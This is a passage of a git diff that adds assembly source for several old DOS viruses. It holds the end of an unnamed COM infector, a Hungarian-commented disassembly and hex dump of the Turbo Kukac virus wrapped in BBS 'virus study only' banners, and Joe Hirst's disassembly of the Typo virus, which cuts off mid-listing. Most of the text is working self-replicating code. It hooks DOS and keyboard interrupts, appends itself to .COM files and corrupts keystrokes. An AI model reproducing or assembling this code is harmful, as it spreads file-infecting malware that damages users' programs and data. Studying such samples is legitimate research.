ax, si[2] ; Get segment address + mov cs:i21s, ax + mov si[0], offset vec21 ; Install vec21 + mov si[2], cs + pop ax + and ch, 0FEh ; Clear trap flag +chainexit: + pop si + jmp traceexit + + +vec21: + cmp ax, 4277h ; Installation check + jne v21e + iret +v21e: cmp ax, 4B00h ; Execute program + je infect + +v21x: db 0EAh ; Jump to dos vector +i21o dw ? +i21s dw ? + + +infect: + push ax + push bx + push cx + push dx + push ds + + mov ax, 3D82h ; Open file + int 21h + xchg ax, bx ; Put handle in bx + + push cs ; Read first bytes + pop ds ; to oentry + mov ah, 3Fh + mov dx, offset oentry + mov cx, 3 + int 21h + cmp byte ptr oentry, 'M' ; Check if exe file + je infectx + push cx + + mov ax, 4202h ; Seek to eof + xor cx, cx + cwd ; Zero dx + int 21h + sub ax, 3 ; Get offset to eof + mov word ptr entry[1], ax ; Save as jump + xchg dx, ax + mov ax, 4200h + int 21h + mov ah, 3Fh ; Infection check + mov dx, offset last + pop cx + int 21h + cmp byte ptr last[1], 0EBh ; Check if infected + je infectx + + mov byte ptr entry, 0E9h ; Create jump opcode + + mov ah, 3Fh ; Append virus + inc ah ; Fool TBScan + push ax + mov dx, 103h + mov cx, size-3 + int 21h + + mov ax, 4200h ; Insert jump + xor cx, cx + cwd + int 21h + + pop ax + mov dh, 1h ; 100h in dx + mov cl, 3 ; 3 in cx + int 21h +infectx: + mov ah, 3Eh + int 21h + + pop ds + pop dx + pop cx + pop bx + pop ax + jmp v21x + + +last: +end entry + diff --git a/t/TURBO99.ASM b/t/TURBO99.ASM new file mode 100755 index 0000000..a288e8e --- /dev/null +++ b/t/TURBO99.ASM @@ -0,0 +1,426 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +TURBO KUKAC v9.9 virus unassembled list: + `90.07.21. + +Magyarzat: Kvri Lszl + Tel.: (41) 21-822 07-13:20 mh. + 21-033 18:00- + + + +28F8:0100 E80000 CALL 0103 ;IP rtke az SI-be +28F8:0103 90 NOP ;ez lesz a bzis offset +28F8:0104 5E POP SI +28F8:0105 50 PUSH AX +28F8:0106 51 PUSH CX +28F8:0107 B021 MOV AL,21 +28F8:0109 B435 MOV AH,35 +28F8:010B CD21 INT 21 ;INT 21h cmnek lekr- + ;dezse +28F8:010D 8CC0 MOV AX,ES +28F8:010F 3D0040 CMP AX,4000 ;a memriban van ? +28F8:0112 7224 JB 0138 ;nincs! +28F8:0114 83EE03 SUB SI,+03 ;bzis offset -3 + ;(3 byte hosszu a JMP + ;+ az operandusa!) +28F8:0117 BAC102 MOV DX,02C1 +28F8:011A 81EA0001 SUB DX,0100 ;0100h offset levonsa + ;(COM file sajtossga!) +28F8:011E 03F2 ADD SI,DX +28F8:0120 8B1C MOV BX,[SI] ;JMP kdja + az operan- + ;dus fele +28F8:0122 8B4C02 MOV CX,[SI+02] ;JMP operandusa + 1 byte +28F8:0125 891E0001 MOV [0100],BX ;eredeti prg kezdet +28F8:0129 890E0201 MOV [0102],CX ;letrolsa +28F8:012D 8CD8 MOV AX,DS +28F8:012F 8EC0 MOV ES,AX ;ES=DS +28F8:0131 59 POP CX +28F8:0132 58 POP AX +28F8:0133 BB0001 MOV BX,0100 ;ugrs offset-je +28F8:0136 FFE3 JMP BX ;EREDETI PROGRAM VGRE- + ;HAJTSA + + ;HA MG NINCS A MEMRIBAN +28F8:0138 8CD8 MOV AX,DS ;sajt szegmense +28F8:013A 48 DEC AX ;sajt seg-1= MCB. seg. +28F8:013B 8ED8 MOV DS,AX ;DS=MCB. szegmense +28F8:013D A10300 MOV AX,[0003] ;DOS lltal a programnak + ;foglalt memriablokk + ;hossza +28F8:0140 2D4100 SUB AX,0041 ;virus hosszt levonja + ;belle (41*16 byte) +28F8:0143 A30300 MOV [0003],AX ;visszateszi igy a DOS + ;lltal ltott teljes + ;memria nagysga a prg. + ;kilpse utn (41*16 + ;byte-tal) kevesebb lesz + ;Hasonlan csinlja ezt + ;a YANKEE DOODLE is, s + ;ezzel azt ri el, hogy + ;semmilyen + ;System Storage Map + ;programmal nem mutat- + ;hat ki a virus jele- + ;lte a memriban! + ;A PCTOOLS system info + ;kimutatja, azaz csak + ;annyit ltni, hogy a + ;fizikai RAM mret 640K + ;s a DOS lltal ltott + ;az 639k byte! Igy k- + ;vetkeztetni lehet... +28F8:0146 8CC8 MOV AX,CS +28F8:0148 8ED8 MOV DS,AX ;DS=CS +28F8:014A A10200 MOV AX,[0002] ;PSP-ben a RAM tetej- + ;nek a paragrafuscme +28F8:014D 2D0008 SUB AX,0800 +28F8:0150 8EC0 MOV ES,AX ;virus j szegmense +28F8:0152 BF0001 MOV DI,0100 +28F8:0155 83EE03 SUB SI,+03 +28F8:0158 B90002 MOV CX,0200 ;virus hossza +28F8:015B F3 REPZ +28F8:015C A4 MOVSB ;virus msolsa az j + ;szegmensbe +28F8:015D 8C06C702 MOV [02C7],ES ;j szegmens trolsa +28F8:0161 B96C01 MOV CX,016C ;belpsi pont +28F8:0164 890EC502 MOV [02C5],CX ;trolsa +28F8:0168 FF2EC502 JMP FAR [02C5] ;ugrs az j szegmens + ;01c6 offset-re + ;UJ SZEGMENSBEN A BELPSI PONT +28F8:016C 8CC1 MOV CX,ES +28F8:016E 8CD8 MOV AX,DS ;ahonnan msolta magt +28F8:0170 26 ES: +28F8:0171 A3CB02 MOV [02CB],AX ;RGI PRG. segment cm +28F8:0174 B80001 MOV AX,0100 +28F8:0177 26 ES: +28F8:0178 A3C902 MOV [02C9],AX ;0100h offset trolsa +28F8:017B 8CC0 MOV AX,ES +28F8:017D 8ED8 MOV DS,AX +28F8:017F BAC701 MOV DX,01C7 ;INT 05 - HARD COPY j + ;offset-je +28F8:0182 B005 MOV AL,05 +28F8:0184 B425 MOV AH,25 +28F8:0186 CD21 INT 21 ;INT 05 ellopsa +28F8:0188 B435 MOV AH,35 +28F8:018A B021 MOV AL,21 +28F8:018C CD21 INT 21 ;INT 21h cm lekrdez- + ;se +28F8:018E 2E CS: +28F8:018F 891EB702 MOV [02B7],BX ;INT 05h offset (rgi) +28F8:0193 8CC3 MOV BX,ES +28F8:0195 2E CS: +28F8:0196 891EB902 MOV [02B9],BX ;INT 05h segment (rgi) +28F8:019A B8D901 MOV AX,01D9 ;j INT 21h offset cm +28F8:019D 8BD0 MOV DX,AX +28F8:019F 8BC1 MOV AX,CX +28F8:01A1 8ED8 MOV DS,AX +28F8:01A3 B021 MOV AL,21 +28F8:01A5 B425 MOV AH,25 +28F8:01A7 CD21 INT 21 ;INT 21h ellopsa +28F8:01A9 8B16C102 MOV DX,[02C1] ;EREDETI JMP + AZ +28F8:01AD 8B0EC302 MOV CX,[02C3] ;OPERANDUSA!!! +28F8:01B1 A1CB02 MOV AX,[02CB] ;EREDETI PRG. SEG!!! +28F8:01B4 8ED8 MOV DS,AX +28F8:01B6 89160001 MOV [0100],DX ;eredeti JMP kdja +28F8:01BA 890E0201 MOV [0102],CX ;s operandusa +28F8:01BE 8EC0 MOV ES,AX +28F8:01C0 59 POP CX +28F8:01C1 58 POP AX +28F8:01C2 2E CS: +28F8:01C3 FF2EC902 JMP FAR [02C9] ;EREDETI PROGRAM FUTTA- + ;TSA! + ;j INT 05 - HARD COPY rutin +28F8:01C7 90 NOP +28F8:01C8 50 PUSH AX +28F8:01C9 1E PUSH DS +28F8:01CA 52 PUSH DX +28F8:01CB 8CC8 MOV AX,CS +28F8:01CD 8ED8 MOV DS,AX + ;VGTELEN CIKLUS! +28F8:01CF BACE02 MOV DX,02CE ;szveg kezdete + ;Turbo Kukac v9.9 +28F8:01D2 B409 MOV AH,09 ;print string +28F8:01D4 E8D900 CALL 02B0 ;rgi INT 21h hivsa +28F8:01D7 EBF6 JMP 01CF ;jra! + + ;j INT 21h rutin +28F8:01D9 90 NOP +28F8:01DA 80FC3D CMP AH,3D ;file nyitsa alfunkci? +28F8:01DD 7403 JZ 01E2 ;igen +28F8:01DF E9C700 JMP 02A9 ;nem ugrsa az eredeti + ;INT 21h-ra +28F8:01E2 90 NOP +28F8:01E3 1E PUSH DS +28F8:01E4 06 PUSH ES +28F8:01E5 50 PUSH AX +28F8:01E6 53 PUSH BX +28F8:01E7 51 PUSH CX +28F8:01E8 52 PUSH DX +28F8:01E9 57 PUSH DI +28F8:01EA 56 PUSH SI + + ;File kiterjeszts ellenrzse + +28F8:01EB 8BFA MOV DI,DX ;file PATH kezdete +28F8:01ED 8CDE MOV SI,DS +28F8:01EF 8EC6 MOV ES,SI ;ES=DS (igy a file PATH + ;tvtele!) +28F8:01F1 B000 MOV AL,00 ;PATH lezr nulla +28F8:01F3 B93200 MOV CX,0032 ;file secifikci hossza +28F8:01F6 FC CLD ;elre +28F8:01F7 F2 REPNZ +28F8:01F8 AE SCASB ;PATH lezr 0 byte ke- + ;resse +28F8:01F9 83EF03 SUB DI,+03 ;-3 igy a kiterjeszts + ;kezdet+1 pozicira mu- + ;tat +28F8:01FC B84F4D MOV AX,4D4F ;'OM' AX-be +28F8:01FF 26 ES: +28F8:0200 3B05 CMP AX,[DI] ; 'OM' a vge ? +28F8:0202 7403 JZ 0207 ;igen valszinleg COM + ;file +28F8:0204 E99A00 JMP 02A1 ;nem COM ugrs az erede- + ;ti INT 21h-ra +28F8:0207 B82E43 MOV AX,432E ;'.C' AX-be +28F8:020A 26 ES: +28F8:020B 3B45FE CMP AX,[DI-02] ; '.C' ? +28F8:020E 7403 JZ 0213 ;biztos hogy COM file! +28F8:0210 E98E00 JMP 02A1 ;nem COM ugrs az erede- + ;ti INT 21h-ra + ;File nyitsa + +28F8:0213 B43D MOV AH,3D ;file nyits +28F8:0215 B002 MOV AL,02 ;rs/olvass +28F8:0217 E89600 CALL 02B0 ;INT 21h hivsa +28F8:021A 7303 JNB 021F ;ha nincs hiba +28F8:021C E98200 JMP 02A1 ;hiba esetn ugrs az + ;eredeti INT 21h-ra +28F8:021F 8BD8 MOV BX,AX ;file kezel + + ;File mret ellenrzs + +28F8:0221 B90000 MOV CX,0000 +28F8:0224 BA0000 MOV DX,0000 +28F8:0227 B002 MOV AL,02 ;file vgre +28F8:0229 B442 MOV AH,42 ;file pointer mozgatsa +28F8:022B E88200 CALL 02B0 ;INT 21h hivsa +28F8:022E 3D00FE CMP AX,FE00 +28F8:0231 736E JNB 02A1 ;ha nem nagyobb a file + ;65024 byte-nl +28F8:0233 2D0300 SUB AX,0003 ;JMP+op hossza + + ;Fertzend file eredeti 4 byte jnak + ;beolvassa + +28F8:0236 2E CS: +28F8:0237 A3BE02 MOV [02BE],AX ;letrolja +28F8:023A B442 MOV AH,42 ;file pointer mozgatsa +28F8:023C B000 MOV AL,00 ;file elejre +28F8:023E B90000 MOV CX,0000 +28F8:0241 BA0000 MOV DX,0000 +28F8:0244 E86900 CALL 02B0 ;INT 21h hivsa +28F8:0247 B43F MOV AH,3F ;olvass file-bl +28F8:0249 B90400 MOV CX,0004 ;4 byte +28F8:024C BAC102 MOV DX,02C1 ;ide tegye +28F8:024F 8CCF MOV DI,CS +28F8:0251 8EDF MOV DS,DI ;DS=CS +28F8:0253 E85A00 CALL 02B0 ;INT 21h hivsa +28F8:0256 B005 MOV AL,05 +28F8:0258 3A06C402 CMP AL,[02C4] ;utols byte=5 ? +28F8:025C 7443 JZ 02A1 ;igen, ugrs az eredeti + ;INT 21h -ra + + ;Fertzend file-ba a virusra + ;mutat JMP+op. kirsa (4 byte) + +28F8:025E B442 MOV AH,42 ;file pointer mozgatsa +28F8:0260 B000 MOV AL,00 ;file elejre +28F8:0262 B90000 MOV CX,0000 +28F8:0265 8BD1 MOV DX,CX +28F8:0267 E84600 CALL 02B0 ;INT 21h hivsa +28F8:026A B0E9 MOV AL,E9 ;JMP kdja +28F8:026C 2E CS: +28F8:026D A2BD02 MOV [02BD],AL ;letrolja +28F8:0270 B005 MOV AL,05 +28F8:0272 2E CS: +28F8:0273 A2C002 MOV [02C0],AL +28F8:0276 B90400 MOV CX,0004 ;4 byte +28F8:0279 BABD02 MOV DX,02BD ;JMP + op. kezdete +28F8:027C 8CC8 MOV AX,CS +28F8:027E 8ED8 MOV DS,AX +28F8:0280 B440 MOV AH,40 ;kirs file-ba +28F8:0282 E82B00 CALL 02B0 ;INT 21h hivsa + + ;Program megfertzse 0200h byte kirsa + ;azaz a virus mgmsolsa + +28F8:0285 B442 MOV AH,42 ;file pointer mozgatsa +28F8:0287 B002 MOV AL,02 ;file vgre +28F8:0289 B90000 MOV CX,0000 +28F8:028C 8BD1 MOV DX,CX +28F8:028E E81F00 CALL 02B0 ;INT 21h hivsa +28F8:0291 BA0001 MOV DX,0100 ;0100h ofset-tl +28F8:0294 B90002 MOV CX,0200 ;0200h byte virus hossza +28F8:0297 B440 MOV AH,40 ;kirs file-ba +28F8:0299 E81400 CALL 02B0 ;INT 21h hivsa +28F8:029C B43E MOV AH,3E ;file zrsa +28F8:029E E80F00 CALL 02B0 ;INT 21h hivsa +28F8:02A1 5E POP SI +28F8:02A2 5F POP DI +28F8:02A3 5A POP DX +28F8:02A4 59 POP CX +28F8:02A5 5B POP BX +28F8:02A6 58 POP AX +28F8:02A7 07 POP ES +28F8:02A8 1F POP DS + +28F8:02A9 90 NOP +28F8:02AA 2E CS: +28F8:02AB FF2EB702 JMP FAR [02B7] ;eredeti INT 21h-ra +28F8:02AF CF IRET + ;Eredeti INT 21h hivsa +28F8:02B0 9C PUSHF ;elmenti mivel az IRET + ;visszamenti a flag-eket +28F8:02B1 2E CS: +28F8:02B2 FF1EB702 CALL FAR [02B7] ;eredeti INT 21h hivsa +28F8:02B6 C3 RET + +28F8:02B7 16 PUSH SS +28F8:02B8 130C ADC CX,[SI] +28F8:02BA 0202 ADD AL,[BP+SI] +28F8:02BC 00E9 ADD CL,CH +28F8:02BE 06 PUSH ES +28F8:02BF 06 PUSH ES +28F8:02C0 05E906 ADD AX,06E9 +28F8:02C3 0405 ADD AL,05 +28F8:02C5 0100 ADD [BX+SI],AX +28F8:02C7 0000 ADD [BX+SI],AL +28F8:02C9 0001 ADD [BX+DI],AL +28F8:02CB F0 LOCK +28F8:02CC 0901 OR [BX+DI],AX +28F8:02CE 54 PUSH SP +28F8:02CF 7572 JNZ 0343 +28F8:02D1 62 DB 62 +28F8:02D2 6F DB 6F +28F8:02D3 204B75 AND [BP+DI+75],CL +28F8:02D6 6B DB 6B +28F8:02D7 61 DB 61 +28F8:02D8 63 DB 63 +28F8:02D9 2039 AND [BX+DI],BH +28F8:02DB 2E CS: +28F8:02DC 3920 CMP [BX+SI],SP +28F8:02DE 2020 AND [BX+SI],AH +28F8:02E0 2020 AND [BX+SI],AH +28F8:02E2 2024 AND [SI],AH +28F8:02E4 0000 ADD [BX+SI],AL + +28F8:02FC 0000 ADD [BX+SI],AL +28F8:02FE FA CLI +28F8:02FF 00C7 ADD BH,AL + +Megjegyzs: + + Nagyon primitv virus, de megvan a maga zsenialitsa, kt legyet + t egy csapsra, pl COPY parancs esetn megnyit egy com file-t,s + ha a virus a memriban van, akkor mg a msoland file-t megfer- + tzi, s a COPY mr a fertztt file-t msolja! Nem igazn kr- + tkony vrus, pusztn mindentt ott akar lenni, s nehezteni a + felhasznl(k) munkjt! Mrete nagyon kicsi, mindssze 512 byte! + Hinyoznak a vrusbl az (tapasztalataim szerint) eddigi virusok- + ban fellelhet ellenrzsek, gondolok itt arra, hogy ha megtrtnik + egy file-ba (hoz) val kirs nem ellenrzi a program hogy valban + kirta-e azt az X byte-ot. Tovbb mikor rezidess (nem {hivatalo- + san} bejegyzetten) teszi magt nem mdostja az MCB. 13. byte-jn + lv RAM tetejnek a paragrafus cmtt a sajt maga lltal lefog- + lalt mrettel (kivons!), mint PL. a Yankee Doodle! A Yankee mg + azt is megnzi, hogy amit meg akar fertzni az az utols mem. + blokkban van-e, br abban kell lennie, mert a DOS egy programnak + odaadja a teljes szabad memrit, ami van... + + +DUMP: + +28F8:0100 E8 00 00 90 5E 50 51 B0-21 B4 35 CD 21 8C C0 3D ....^PQ.!.5.!..= +28F8:0110 00 40 72 24 83 EE 03 BA-C1 02 81 EA 00 01 03 F2 .@r$............ +28F8:0120 8B 1C 8B 4C 02 89 1E 00-01 89 0E 02 01 8C D8 8E ...L............ +28F8:0130 C0 59 58 BB 00 01 FF E3-8C D8 48 8E D8 A1 03 00 .YX.......H..... +28F8:0140 2D 41 00 A3 03 00 8C C8-8E D8 A1 02 00 2D 00 08 -A...........-.. +28F8:0150 8E C0 BF 00 01 83 EE 03-B9 00 02 F3 A4 8C 06 C7 ................ +28F8:0160 02 B9 6C 01 89 0E C5 02-FF 2E C5 02 8C C1 8C D8 ..l............. +28F8:0170 26 A3 CB 02 B8 00 01 26-A3 C9 02 8C C0 8E D8 BA &......&........ +28F8:0180 C7 01 B0 05 B4 25 CD 21-B4 35 B0 21 CD 21 2E 89 .....%.!.5.!.!.. +28F8:0190 1E B7 02 8C C3 2E 89 1E-B9 02 B8 D9 01 8B D0 8B ................ +28F8:01A0 C1 8E D8 B0 21 B4 25 CD-21 8B 16 C1 02 8B 0E C3 ....!.%.!....... +28F8:01B0 02 A1 CB 02 8E D8 89 16-00 01 89 0E 02 01 8E C0 ................ +28F8:01C0 59 58 2E FF 2E C9 02 90-50 1E 52 8C C8 8E D8 BA YX......P.R..... +28F8:01D0 CE 02 B4 09 E8 D9 00 EB-F6 90 80 FC 3D 74 03 E9 ............=t.. +28F8:01E0 C7 00 90 1E 06 50 53 51-52 57 56 8B FA 8C DE 8E .....PSQRWV..... +28F8:01F0 C6 B0 00 B9 32 00 FC F2-AE 83 EF 03 B8 4F 4D 26 ....2........OM& +28F8:0200 3B 05 74 03 E9 9A 00 B8-2E 43 26 3B 45 FE 74 03 ;.t......C&;E.t. +28F8:0210 E9 8E 00 B4 3D B0 02 E8-96 00 73 03 E9 82 00 8B ....=.....s..... +28F8:0220 D8 B9 00 00 BA 00 00 B0-02 B4 42 E8 82 00 3D 00 ..........B...=. +28F8:0230 FE 73 6E 2D 03 00 2E A3-BE 02 B4 42 B0 00 B9 00 .sn-.......B.... +28F8:0240 00 BA 00 00 E8 69 00 B4-3F B9 04 00 BA C1 02 8C .....i..?....... +28F8:0250 CF 8E DF E8 5A 00 B0 05-3A 06 C4 02 74 43 B4 42 ....Z...:...tC.B +28F8:0260 B0 00 B9 00 00 8B D1 E8-46 00 B0 E9 2E A2 BD 02 ........F....... +28F8:0270 B0 05 2E A2 C0 02 B9 04-00 BA BD 02 8C C8 8E D8 ................ +28F8:0280 B4 40 E8 2B 00 B4 42 B0-02 B9 00 00 8B D1 E8 1F .@.+..B......... +28F8:0290 00 BA 00 01 B9 00 02 B4-40 E8 14 00 B4 3E E8 0F ........@....>.. +28F8:02A0 00 5E 5F 5A 59 5B 58 07-1F 90 2E FF 2E B7 02 CF .^_ZY[X......... +28F8:02B0 9C 2E FF 1E B7 02 C3 16-13 0C 02 02 00 E9 06 06 ................ +28F8:02C0 05 E9 06 04 05 01 00 00-00 00 01 F0 09 01 .............. + + ;Kirand szveg kezdete +28F8:02C0 54 75 Tu +28F8:02D0 72 62 6F 20 4B 75 6B 61-63 20 39 2E 39 20 20 20 rbo Kukac 9.9 +28F8:02E0 20 20 20 24 $ + +28F8:02E0 00 00 00 00-00 00 00 00 00 00 00 00 ............ +28F8:02F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 FA 00 ................ +28F8:0300 C7 . + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/t/TYPO.ASM b/t/TYPO.ASM new file mode 100755 index 0000000..85e4ea6 --- /dev/null +++ b/t/TYPO.ASM @@ -0,0 +1,433 @@ + page 65,132 + title The 'Typo' Virus +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'Typo' Virus +; Disassembled by Joe Hirst, October 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +VECTOR SEGMENT AT 0 + + ; Interrupt vectors + + ORG 58H +BW0058 DW ? ; Interrupt 16H offset +BW005A DW ? ; Interrupt 16H segment + ORG 80H +BW0080 DW ? ; Interrupt 20H offset +BW0082 DW ? ; Interrupt 20H segment +BW0084 DW ? ; Interrupt 21H offset +BW0086 DW ? ; Interrupt 21H segment + +VECTOR ENDS + +RAM SEGMENT AT 400H + + ; System data + + ORG 6CH +BW046C DW ? ; System clock + +RAM ENDS + +HOST SEGMENT AT 0 + + ORG 2CH +DW002C DW ? + ORG 0D0H +DW00D0 EQU THIS WORD +DB00D0 DB ? + ORG 100H +DB0100 DB ? +DW0101 DW ? + +HOST ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + + ASSUME CS:CODE,DS:HOST + + DB 'V1' ; Signature + DB 0E9H, 1, 0 ; Jump for start of host + DB '*.COM', 0 ; File spec for infection + DB 0CEH, 0CDH, 20H ; File start read buffer + DB 'V1' ; Signature test read buffer + DW 5 ; File handle + DB 0CDH, 20H, 90H ; Start of host + DB 0 + DW 5AH ; Generation count + DB 0 + + ; Entry point + +START: PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH CS + POP DS + CALL BP0024 ; \ Get current address +BP0024: POP SI ; / + SUB SI,24H ; Relocate from start of virus + DEC WORD PTR [SI+16H] ; Subtract from generation count + CMP WORD PTR [SI+16H],3 ; Is generation count three? + JNE BP0036 ; Branch if not + MOV WORD PTR [SI+16H],005BH ; Reset generation count to 91 +BP0036: CALL BP02BE ; Test system for infection + MOV DX,00D0H ; Temp default DTA + MOV AH,1AH ; Set DTA function + INT 21H ; DOS service + MOV AL,[SI+0BH] ; \ Save start of host (1) + MOV [SI+12H],AL ; / + MOV AX,[SI+0CH] ; \ Save start of host (2) + MOV [SI+13H],AX ; / + MOV AH,2AH ; Get date function + INT 21H ; DOS service + TEST DL,1 ; First of month? + JNZ BP0074 ; Branch if not + MOV DX,SI ; \ Address '*.COM' + ADD DX,5 ; / + nop + XOR CX,CX ; No attributes + MOV AH,4EH ; Find first file function + INT 21H ; DOS service + JB BP0074 ; Branch if not found +BP0063: CALL BP0092 ; Test for infection + MOV DX,SI ; \ Address '*.COM' + ADD DX,5 ; / + nop + XOR CX,CX ; No attributes + MOV AH,4FH ; Find next file function + INT 21H ; DOS service + JNB BP0063 ; Branch if found +BP0074: MOV AL,[SI+12H] ; \ Restore start of host (1) + MOV DB0100,AL ; / + MOV AX,[SI+13H] ; \ Restore start of host (2) + MOV DW0101,AX ; / + MOV DX,0080H ; Original default DTA + MOV AH,1AH ; Set DTA function + INT 21H ; DOS service + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + MOV AX,0100H ; \ Branch to start of host + JMP AX ; / + + ; Test for infection in COM file + +BP0092: MOV AX,4301H ; Set file attributes function + MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA + XOR CX,CX ; No attributes + INT 21H ; DOS service + MOV AX,3D02H ; Open handle (R/W) function + MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA + INT 21H ; DOS service + JNB BP00A9 ; Branch if no error + JMP BP015D ; Return + +BP00A9: MOV [SI+10H],AX ; Save file handle + MOV BX,AX ; Move file handle + MOV AH,3FH ; Read handle function + MOV CX,3 ; Length to read + MOV DX,SI ; \ Address start-of-host store + ADD DX,000BH ; / + nop + INT 21H ; DOS service + CMP BYTE PTR [SI+0BH],0E9H ; Is it a jump? + JNE BP00F1 ; Branch if not + MOV DX,[SI+0CH] ; \ + SUB DX,16H ; / + XOR CX,CX ; No high offset + MOV AX,4200H ; Move file pointer function + MOV BX,[SI+10H] ; Get file handle + INT 21H ; DOS service + MOV BX,AX ; Move actual offset (? not used) + MOV AH,3FH ; Read handle function + MOV CX,2 ; Length to read + MOV DX,SI ; \ Address signature test buffer + ADD DX,000EH ; / + nop + MOV BX,[SI+10H] ; Get file handle + INT 21H ; DOS service + JB BP014A ; Branch if error + CMP AX,0 ; Did we read anything? + JE BP00F1 ; Branch if not + MOV AX,[SI+0EH] ; Get signature test + CMP AX,[SI] ; Is it signature? + JE BP014A ; Branch if yes +BP00F1: XOR CX,CX ; \ No offset + XOR DX,DX ; / + MOV AX,4202H ; Move file pointer function (EOF) + MOV BX,[SI+10H] ; Get file handle + INT 21H ; DOS service + JB BP014A ; Branch if error + SUB AX,3 ; Convert length to jump offset + MOV [SI+3],AX ; Store in jump + MOV BX,[SI+10H] ; Get file handle + MOV AH,40H ; Write handle function + MOV CX,OFFSET ENDADR ; Length of virus + NOP + MOV DX,SI ; \ Address start of virus + ADD DX,0 ; / + nop + INT 21H ; DOS service + JB BP014A ; Branch if error + ADD WORD PTR [SI+3],19H ; Add entry point offset to jump offset + XOR DX,DX ; \ No offset + XOR CX,CX ; / + MOV AX,4200H ; Move file pointer function + MOV BX,[SI+10H] ; Get file handle + INT 21H ; DOS service + JB BP014A ; Branch if error + MOV BX,[SI+10H] ; Get file handle + MOV AH,40H ; Write handle function + MOV CX,3 ; Length of jump + MOV DX,SI ; \ Address initial jump + ADD DX,2 ; / + nop + INT 21H ; DOS service + MOV AX,5701H ; Set file date & time function + MOV BX,[SI+10H] ; Get file handle + MOV CX,DW00D0+16H ; Get file time from DTA + MOV DX,DW00D0+18H ; Get file date from DTA + INT 21H ; DOS service +BP014A: MOV BX,[SI+10H] ; Get file handle + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + MOV AX,4301H ; Set file attributes function + MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA + MOV CL,DB00D0+15H ; Get attributes from DTA + INT 21H ; DOS service +BP015D: RET + + ; Interrupt 16H routine + +BP015E: STI + CMP AH,0DDH ; Infection test function? + JNE BP0167 ; Branch if not + MOV AL,AH ; Copy function number + IRET + +BP0167: CMP AH,0 ; Get key token? + JE BP01D8 ; Branch if yes + DB 0EAH ; Far jump +DW016D DW 0488H ; Int 16H offset +DW016F DW 39D8H ; Int 16H segment + +DW0171 DW 0FA76H +DW0173 DW 0F9DCH +DW0175 DW 005AH + +DB0177 DB 060H, 031H, 032H, 033H, 034H, 035H, 036H, 037H + DB 038H, 039H, 030H, 02DH, 03DH, 05CH, 07EH, 021H + DB 040H, 023H, 024H, 025H, 05EH, 026H, 02AH, 028H + DB 029H, 05FH, 02BH, 07CH, 071H, 077H, 065H, 072H + DB 074H, 079H, 075H, 069H, 06FH, 070H, 05BH, 05DH + DB 05BH, 061H, 073H, 064H, 066H, 067H, 068H, 06AH + DB 06BH, 06CH, 03BH, 027H, 07AH, 078H, 063H, 076H + DB 062H, 06EH, 06DH, 02CH, 02EH, 02FH, 051H, 057H + DB 045H, 052H, 054H, 059H, 055H, 049H, 04FH, 050H + DB 07BH, 07DH, 041H, 053H, 044H, 046H, 047H, 048H + DB 04AH, 04BH, 04CH, 03AH, 022H, 03BH, 05AH, 058H + DB 043H, 056H, 042H, 04EH, 04DH, 03CH, 03EH, 03FH + DB 02EH + +BP01D8: PUSH SI + CALL BP01DC ; \ Get current address +BP01DC: POP SI ; / + PUSHF + CALL DWORD PTR CS:[SI-6FH] ; Execute original BIOS call + PUSH BX + PUSH ES + MOV BX,0040H ; \ Address system RAM + MOV ES,BX ; / + ASSUME ES:RAM + MOV BX,BW046C ; Get system clock, low word + PUSH BX + SUB BX,CS:[SI-6BH] ; DW0171 + CMP BX,2 + POP BX + MOV CS:[SI-6BH],BX + JG BP0236 + XCHG BX,CS:[SI-69H] ; DW0173 + SUB BX,CS:[SI-69H] + NEG BX + CMP BX,CS:[SI-67H] ; DW0175 + JL BP0236 + DEC WORD PTR CS:[SI-67H] + CMP WORD PTR CS:[SI-67H],6 + JE BP021E + MOV WORD PTR CS:[SI-67H],005BH +BP021E: SUB SI,65H + PUSH CX + MOV CX,0061H +BP0225: CMP AL,CS:[SI] + JE BP0231 + INC SI + LOOP BP0225 + POP CX + JMP BP0236 + +BP0231: POP CX + MOV AL,CS:[SI+1] +BP0236: POP ES + POP BX + POP SI + RETF 2 + + ; Interrupt 21H routine + + ASSUME ES:NOTHING +BP023C: CMP AH,0 ; Terminate program? + JE BP0246 ; Branch if yes + CMP 